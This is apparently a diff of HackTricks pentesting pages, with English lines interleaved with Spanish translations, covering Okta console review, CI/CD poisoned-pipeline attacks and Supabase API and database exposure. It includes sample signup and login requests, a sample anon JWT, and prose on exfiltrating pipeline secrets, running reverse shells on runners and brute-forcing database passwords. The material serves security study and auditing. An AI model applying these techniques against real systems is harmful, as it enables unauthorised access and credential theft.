No lo he visto, pero supongo que esto es interesante para descubrir **otros directorios que Okta está utilizando para importar usuarios**, así que si **comprometes ese directorio** podrías establecer algunos valores de atributos en los usuarios creados en Okta y **quizás comprometer el entorno de Okta**.
### Profile Sources
### Fuentes de Perfil
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
Una fuente de perfil es una **aplicación que actúa como fuente de verdad** para los atributos del perfil del usuario. Un usuario solo puede ser fuente de una sola aplicación o directorio a la vez.
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
No lo he visto, así que cualquier información sobre seguridad y hacking respecto a esta opción es apreciada.
## Customizations
## Personalizaciones
### Brands
### Marcas
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
Verifica en la pestaña **Dominios** de esta sección las direcciones de correo electrónico utilizadas para enviar correos y el dominio personalizado dentro de Okta de la empresa (que probablemente ya conoces).
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
Además, en la pestaña **Configuración**, si eres administrador, puedes "**Usar una página de cierre de sesión personalizada**" y establecer una URL personalizada.
### SMS
Nothing interesting here.
Nada interesante aquí.
### End-User Dashboard
### Panel de Control del Usuario Final
You can find here applications configured, but we will see the details of those later in a different section.
Aquí puedes encontrar aplicaciones configuradas, pero veremos los detalles de esas más adelante en una sección diferente.
### Other
### Otro
Interesting setting, but nothing super interesting from a security point of view.
Configuración interesante, pero nada super interesante desde el punto de vista de la seguridad.
## Applications
## Aplicaciones
### Applications
### Aplicaciones
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
Aquí puedes encontrar todas las **aplicaciones configuradas** y sus detalles: Quién tiene acceso a ellas, cómo está configurado (SAML, OpenID), URL para iniciar sesión, los mapeos entre Okta y la aplicación...
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
En la pestaña **`Iniciar sesión`** también hay un campo llamado **`Revelar contraseña`** que permitiría a un usuario **revelar su contraseña** al revisar la configuración de la aplicación. Para revisar la configuración de una aplicación desde el Panel de Usuario, haz clic en los 3 puntos:
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
And you could see some more details about the app (like the password reveal feature, if it's enabled):
Y podrías ver algunos detalles más sobre la aplicación (como la función de revelar contraseña, si está habilitada):
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
## Identity Governance
## Gobernanza de Identidad
### Access Certifications
### Certificaciones de Acceso
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
Utiliza las Certificaciones de Acceso para crear campañas de auditoría para revisar el acceso de tus usuarios a los recursos periódicamente y aprobar o revocar el acceso automáticamente cuando sea necesario.
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
No lo he visto utilizado, pero supongo que desde un punto de vista defensivo es una buena característica.
## Security
## Seguridad
### General
- **Security notification emails**: All should be enabled.
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
- **User enumeration prevention**: Both should be enabled
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- Self-Service Registration
- JIT flows with email authentication
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
- **Correos electrónicos de notificación de seguridad**: Todos deberían estar habilitados.
- **Integración de CAPTCHA**: Se recomienda establecer al menos el reCaptcha invisible.
- **Seguridad de la Organización**: Todo puede ser habilitado y los correos electrónicos de activación no deberían tardar mucho (7 días está bien).
- **Prevención de enumeración de usuarios**: Ambos deberían estar habilitados.
- Ten en cuenta que la Prevención de Enumeración de Usuarios no tiene efecto si se permite alguna de las siguientes condiciones (Consulta [Gestión de usuarios](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) para más información):
- Registro de autoservicio.
- Flujos JIT con autenticación por correo electrónico.
- **Configuraciones de Okta ThreatInsight**: Registrar y hacer cumplir la seguridad según el nivel de amenaza.
### HealthInsight
Here is possible to find correctly and **dangerous** configured **settings**.
Aquí es posible encontrar configuraciones **correctas** y **peligrosas**.
### Authenticators
### Autenticadores
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
Aquí puedes encontrar todos los métodos de autenticación que un usuario podría usar: Contraseña, teléfono, correo electrónico, código, WebAuthn... Al hacer clic en el autenticador de Contraseña puedes ver la **política de contraseñas**. Verifica que sea fuerte.
In the **Enrollment** tab you can see how the ones that are required or optinal:
En la pestaña **Inscripción** puedes ver cuáles son requeridos u opcionales:
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
Se recomienda deshabilitar el teléfono. Los más fuertes son probablemente una combinación de contraseña, correo electrónico y WebAuthn.
### Authentication policies
### Políticas de autenticación
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
Cada aplicación tiene una política de autenticación. La política de autenticación verifica que los usuarios que intentan iniciar sesión en la aplicación cumplan con condiciones específicas y hace cumplir los requisitos de factores basados en esas condiciones.
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
Aquí puedes encontrar los **requisitos para acceder a cada aplicación**. Se recomienda solicitar al menos una contraseña y otro método para cada aplicación. Pero si como atacante encuentras algo más débil, podrías ser capaz de atacarlo.
### Global Session Policy
### Política de Sesión Global
Here you can find the session policies assigned to different groups. For example:
Aquí puedes encontrar las políticas de sesión asignadas a diferentes grupos. Por ejemplo:
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
Se recomienda solicitar MFA, limitar la duración de la sesión a algunas horas, no persistir las cookies de sesión a través de extensiones de navegador y limitar la ubicación y el Proveedor de Identidad (si esto es posible). Por ejemplo, si cada usuario debería iniciar sesión desde un país, podrías permitir solo esta ubicación.
### Identity Providers
### Proveedores de Identidad
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
Los Proveedores de Identidad (IdPs) son servicios que **gestionan cuentas de usuario**. Agregar IdPs en Okta permite a tus usuarios finales **autoregistrarse** con tus aplicaciones personalizadas autenticándose primero con una cuenta social o una tarjeta inteligente.
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
En la página de Proveedores de Identidad, puedes agregar inicios de sesión sociales (IdPs) y configurar Okta como proveedor de servicios (SP) agregando SAML entrante. Después de haber agregado IdPs, puedes configurar reglas de enrutamiento para dirigir a los usuarios a un IdP según el contexto, como la ubicación del usuario, el dispositivo o el dominio de correo electrónico.
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
**Si algún proveedor de identidad está configurado**, desde la perspectiva de un atacante y defensor, verifica esa configuración y **si la fuente es realmente confiable**, ya que un atacante que lo comprometa también podría obtener acceso al entorno de Okta.
### Delegated Authentication
### Autenticación Delegada
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
La autenticación delegada permite a los usuarios iniciar sesión en Okta ingresando credenciales para el **Active Directory (AD) o LDAP** de su organización.
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
Nuevamente, revisa esto, ya que un atacante que comprometa el AD de una organización podría ser capaz de pivotar hacia Okta gracias a esta configuración.
### Network
### Red
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
Una zona de red es un límite configurable que puedes usar para **otorgar o restringir el acceso a computadoras y dispositivos** en tu organización según la **dirección IP** que está solicitando acceso. Puedes definir una zona de red especificando una o más direcciones IP individuales, rangos de direcciones IP o ubicaciones geográficas.
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
Después de definir una o más zonas de red, puedes **usarlas en Políticas de Sesión Global**, **políticas de autenticación**, notificaciones de VPN y **reglas de enrutamiento**.
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
Desde la perspectiva de un atacante, es interesante saber qué IPs están permitidas (y verificar si alguna **IP tiene más privilegios** que otras). Desde la perspectiva de un atacante, si los usuarios deberían estar accediendo desde una dirección IP o región específica, verifica que esta función se esté utilizando correctamente.
### Device Integrations
### Integraciones de Dispositivos
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- I haven't seen this used yet. TODO
- **Notification services**: I haven't seen this used yet. TODO
- **Gestión de Puntos Finales**: La gestión de puntos finales es una condición que se puede aplicar en una política de autenticación para garantizar que los dispositivos gestionados tengan acceso a una aplicación.
- No he visto esto utilizado aún. TODO
- **Servicios de Notificación**: No he visto esto utilizado aún. TODO
### API
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
Puedes crear tokens de API de Okta en esta página y ver los que han sido **creados**, sus **privilegios**, tiempo de **expiración** y **URLs de Origen**. Ten en cuenta que los tokens de API se generan con los permisos del usuario que creó el token y son válidos solo si el **usuario** que los creó está **activo**.
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
Los **Orígenes Confiables** otorgan acceso a sitios web que controlas y confías para acceder a tu organización de Okta a través de la API de Okta.
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
No debería haber muchos tokens de API, ya que si los hay, un atacante podría intentar acceder a ellos y usarlos.
## Workflow
## Flujo de Trabajo
### Automations
### Automatizaciones
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
Las automatizaciones te permiten crear acciones automatizadas que se ejecutan en función de un conjunto de condiciones de activación que ocurren durante el ciclo de vida de los usuarios finales.
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
Por ejemplo, una condición podría ser "Inactividad del usuario en Okta" o "Expiración de la contraseña del usuario en Okta" y la acción podría ser "Enviar un correo electrónico al usuario" o "Cambiar el estado del ciclo de vida del usuario en Okta".
## Reports
## Informes
### Reports
### Informes
Download logs. They are **sent** to the **email address** of the current account.
Descargar registros. Se **envían** a la **dirección de correo electrónico** de la cuenta actual.
### System Log
### Registro del Sistema
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
Aquí puedes encontrar los **registros de las acciones realizadas por los usuarios** con muchos detalles como iniciar sesión en Okta o en aplicaciones a través de Okta.
### Import Monitoring
### Monitoreo de Importación
This can **import logs from the other platforms** accessed with Okta.
Esto puede **importar registros de otras plataformas** accedidas con Okta.
### Rate limits
### Límites de tasa
Check the API rate limits reached.
Verifica los límites de tasa de la API alcanzados.
## Settings
## Configuraciones
### Account
### Cuenta
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
Aquí puedes encontrar **información genérica** sobre el entorno de Okta, como el nombre de la empresa, dirección, **correo electrónico de contacto de facturación**, **correo electrónico de contacto técnico** y también quién debería recibir actualizaciones de Okta y qué tipo de actualizaciones de Okta.
### Downloads
### Descargas
Here you can download Okta agents to sync Okta with other technologies.
Aquí puedes descargar agentes de Okta para sincronizar Okta con otras tecnologías.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# Pentesting CI/CD Methodology
# Metodología de Pentesting CI/CD
{{#include ../banners/hacktricks-training.md}}
@@ -6,98 +6,105 @@
## VCS
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
VCS significa **Sistema de Control de Versiones**, este sistema permite a los desarrolladores **gestionar su código fuente**. El más común es **git** y normalmente encontrarás que las empresas lo usan en una de las siguientes **plataformas**:
- Github
- Gitlab
- Bitbucket
- Gitea
- Gitblit
- Cloud providers (they offer their own VCS platforms)
- Cloud providers (ofrecen sus propias plataformas VCS)
## CI/CD Pipelines
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
Los pipelines CI/CD permiten a los desarrolladores **automatizar la ejecución de código** para varios propósitos, incluyendo build, testing y deploy de aplicaciones. Estos flujos automatizados se **disparan por acciones específicas**, como pushes de código, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta producción.
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
Sin embargo, estos sistemas necesitan **ejecutarse en algún lugar** y normalmente con **credenciales privilegiadas para desplegar código o acceder a información sensible**.
## VCS Pentesting Methodology
> [!NOTE]
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
Las plataformas que contienen el código fuente de tu proyecto almacenan información sensible y hay que tener mucho cuidado con los permisos concedidos dentro de esta plataforma. Estos son algunos problemas comunes en plataformas VCS que un atacante podría abusar:
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- **Register**: Some platforms will just allow external users to create an account.
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- Compromise the main branch to **compromise production**.
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- **Compromise the pipeline** (check next section)
- **Leaks**: Si tu código contiene leaks en los commits y el atacante puede acceder al repo (porque es público o porque tiene acceso), podría descubrir los leaks.
- **Access**: Si un atacante puede **acceder a una cuenta dentro de la plataforma VCS** podría ganar **más visibilidad y permisos**.
- **Register**: Algunas plataformas permiten simplemente que usuarios externos creen una cuenta.
- **SSO**: Algunas plataformas no permiten registro directo, pero permiten a cualquiera acceder con un SSO válido (por ejemplo, un atacante podría usar su github account para entrar).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna forma a un repo.
- **Webhooks**: Las plataformas VCS permiten generar webhooks. Si no están **protegidos** con secrets no visibles un **atacante podría abusar de ellos**.
- Si no hay un secret en su lugar, el atacante podría abusar del webhook de la plataforma tercera
- Si el secret está en la URL, ocurre lo mismo y el atacante además tendría el secret
- **Code compromise:** Si un actor malicioso tiene algún tipo de **acceso de escritura** sobre los repos, podría intentar **inyectar código malicioso**. Para tener éxito puede que necesite **bypassear branch protections**. Estas acciones pueden realizarse con distintos objetivos:
- Comprometer la rama main para **comprometer producción**.
- Comprometer la main (u otras branches) para **comprometer máquinas de desarrolladores** (ya que suelen ejecutar tests, terraform u otras cosas desde el repo en sus máquinas).
- **Compromise the pipeline** (revisar la siguiente sección)
## Pipelines Pentesting Methodology
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
La forma más común de definir un pipeline es usando un **archivo de configuración de CI alojado en el repository** que el pipeline construye. Este archivo describe el orden de los jobs ejecutados, condiciones que afectan el flujo y la configuración del entorno de build.\
Estos archivos típicamente tienen un nombre y formato consistentes, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los archivos YAML de GitHub Actions ubicados bajo .github/workflows. Cuando se dispara, el job del pipeline **pulls the code** desde la fuente seleccionada (por ejemplo commit / branch), y **ejecuta los comandos especificados en el CI configuration file** contra ese código.
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
Por tanto, el objetivo final del atacante es de alguna manera **comprometer esos archivos de configuración** o los **comandos que ejecutan**.
> [!TIP]
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
>
>{{#ref}}
>docker-build-context-abuse.md
>{{#endref}}
### PPE - Poisoned Pipeline Execution
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
La Poisoned Pipeline Execution (PPE) explota permisos en un SCM repository para manipular un CI pipeline y ejecutar comandos dañinos. Usuarios con los permisos necesarios pueden modificar CI configuration files u otros archivos usados por el job del pipeline para incluir comandos maliciosos. Esto "poisons" el CI pipeline, derivando en la ejecución de esos comandos maliciosos.
For a malicious actor to be successful performing a PPE attack he needs to be able to:
Para que un actor malicioso tenga éxito realizando un ataque PPE necesita:
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- Note that sometimes an **external PR count as "write access"**.
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- For this, he might need to be able to **bypass branch protections**.
- Tener **write access to the VCS platform**, ya que normalmente los pipelines se disparan cuando se realiza un push o un pull request. (Revisar la VCS pentesting methodology para un resumen de formas de obtener acceso).
- Nota: a veces un **external PR cuenta como "write access"**.
- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modificar el CI config file u otros archivos de los que el config depende**.
- Para esto, puede que necesite **bypassear branch protections**.
There are 3 PPE flavours:
Hay 3 sabores de PPE:
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
- **D-PPE**: Un ataque **Direct PPE** ocurre cuando el actor **modifica el CI config** file que va a ser ejecutado.
- **I-DDE**: Un ataque **Indirect PPE** ocurre cuando el actor **modifica** un **archivo** del que el CI config se **apoya** (como un Makefile o una configuración terraform).
- **Public PPE or 3PE**: En algunos casos los pipelines pueden ser **disparados por usuarios que no tienen write access en el repo** (y que puede que ni siquiera formen parte de la org) porque pueden enviar un PR.
- **3PE Command Injection**: Usualmente, los pipelines CI/CD **set environment variables** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y es **usado** en un **lugar peligroso** (por ejemplo ejecutando comandos sh), un atacante podría **inyectar comandos allí**.
### Exploitation Benefits
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
Sabiendo los 3 sabores para envenenar un pipeline, veamos qué podría obtener un atacante tras una explotación exitosa:
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
- **Secrets**: Como se mencionó antes, los pipelines requieren **privilegios** para sus jobs (recuperar el código, build, deploy...) y estos privilegios usualmente están **almacenados en secrets**. Estos secrets suelen ser accesibles vía **env variables o archivos dentro del sistema**. Por lo tanto, un atacante siempre intentará exfiltrar la mayor cantidad de secrets posible.
- Dependiendo de la plataforma del pipeline el atacante **podría necesitar especificar los secrets en el config**. Esto significa que si el atacante no puede modificar la configuración del CI (**I-PPE** por ejemplo), podría **solo exfiltrar los secrets que ese pipeline tenga**.
- **Computation**: El código se ejecuta en algún lado; dependiendo de dónde se ejecute, un atacante podría pivotar más.
- **On-Premises**: Si los pipelines se ejecutan on-premises, un atacante podría acabar en una **red interna con acceso a más recursos**.
- **Cloud**: El atacante podría acceder a **otras máquinas en la cloud** pero también podría **exfiltrar** IAM roles/service accounts **tokens** de ahí para obtener **más acceso dentro del cloud**.
- **Platforms machine**: A veces los jobs se ejecutan dentro de las máquinas de la plataforma de pipelines, que normalmente están en una cloud sin mayor acceso.
- **Select it:** En ocasiones la **pipeline platform tiene configuradas varias máquinas** y si puedes **modificar el CI configuration file** puedes **indicar dónde quieres ejecutar el código malicioso**. En esa situación, un atacante probablemente ejecutará un reverse shell en cada máquina posible para intentar explotarla más.
- **Compromise production**: Si estás dentro del pipeline y la versión final se builda y despliega desde él, podrías **comprometer el código que terminará ejecutándose en producción**.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta open-source para auditar tu software supply chain stack en cuanto a cumplimiento de seguridad basada en un nuevo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se centra en todo el proceso SDLC, donde puede revelar riesgos desde el tiempo de código hasta el tiempo de despliegue.
### Top 10 CI/CD Security Risk
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Revisa este artículo interesante sobre los top 10 CI/CD risks según Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
- En cada plataforma que puedas ejecutar localmente encontrarás cómo lanzarla localmente para que la configures como quieras y probarla
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** es una herramienta de análisis estático para infrastructure-as-code.
## References

File diff suppressed because it is too large Load Diff

View File

@@ -1,50 +1,49 @@
# Supabase Security
# Seguridad de Supabase
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Información básica
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
Según su [**landing page**](https://supabase.com/): Supabase es una alternativa de código abierto a Firebase. Comienza tu proyecto con una base de datos Postgres, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage y Vector embeddings.
### Subdomain
### Subdominio
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
Básicamente, cuando se crea un proyecto, el usuario recibirá un subdominio supabase.co como: **`jnanozjdybtpqgcwhdiz.supabase.co`**
## **Database configuration**
## **Configuración de la base de datos**
> [!TIP]
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
> **Estos datos pueden accederse desde un enlace como `https://supabase.com/dashboard/project/<project-id>/settings/database`**
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
The password is a **password the user put** previously.
Esta **base de datos** será desplegada en alguna región de AWS, y para conectarse a ella sería posible hacerlo conectándose a: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (este fue creado en us-west-1).
La contraseña es una **contraseña que el usuario configuró** previamente.
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
Por lo tanto, dado que el subdominio es conocido y se usa como nombre de usuario y las regiones de AWS son limitadas, podría ser posible intentar un **brute force** contra la contraseña.
This section also contains options to:
Esta sección también contiene opciones para:
- Reset the database password
- Configure connection pooling
- Configure SSL: Reject plan-text connections (by default they are enabled)
- Configure Disk size
- Apply network restrictions and bans
- Restablecer la contraseña de la base de datos
- Configurar connection pooling
- Configurar SSL: Rechazar conexiones en texto plano (por defecto están habilitadas)
- Configurar tamaño de disco
- Aplicar restricciones y bloqueos de red
## API Configuration
## Configuración de la API
> [!TIP]
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
> **Estos datos pueden accederse desde un enlace como `https://supabase.com/dashboard/project/<project-id>/settings/api`**
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
La URL para acceder a la API de supabase en tu proyecto será como: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
### anon api keys
### anon API keys
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
También generará una **anon API key** (`role: "anon"`), como: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` que la aplicación necesitará usar para contactar la API expuesta en nuestro ejemplo en
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
Es posible encontrar el API REST para contactar esta API en la [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), pero los endpoints más interesantes serían:
<details>
<summary>Signup (/auth/v1/signup)</summary>
<summary>Registro (/auth/v1/signup)</summary>
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -69,13 +68,11 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
<details>
<summary>Login (/auth/v1/token?grant_type=password)</summary>
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -100,173 +97,165 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
</details>
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
Entonces, siempre que descubras un cliente que use supabase con el subdominio que se le asignó (es posible que un subdominio de la empresa tenga un CNAME apuntando sobre su subdominio de supabase), puedes intentar **crear una nueva cuenta en la plataforma usando la API de supabase**.
### secret / service_role api keys
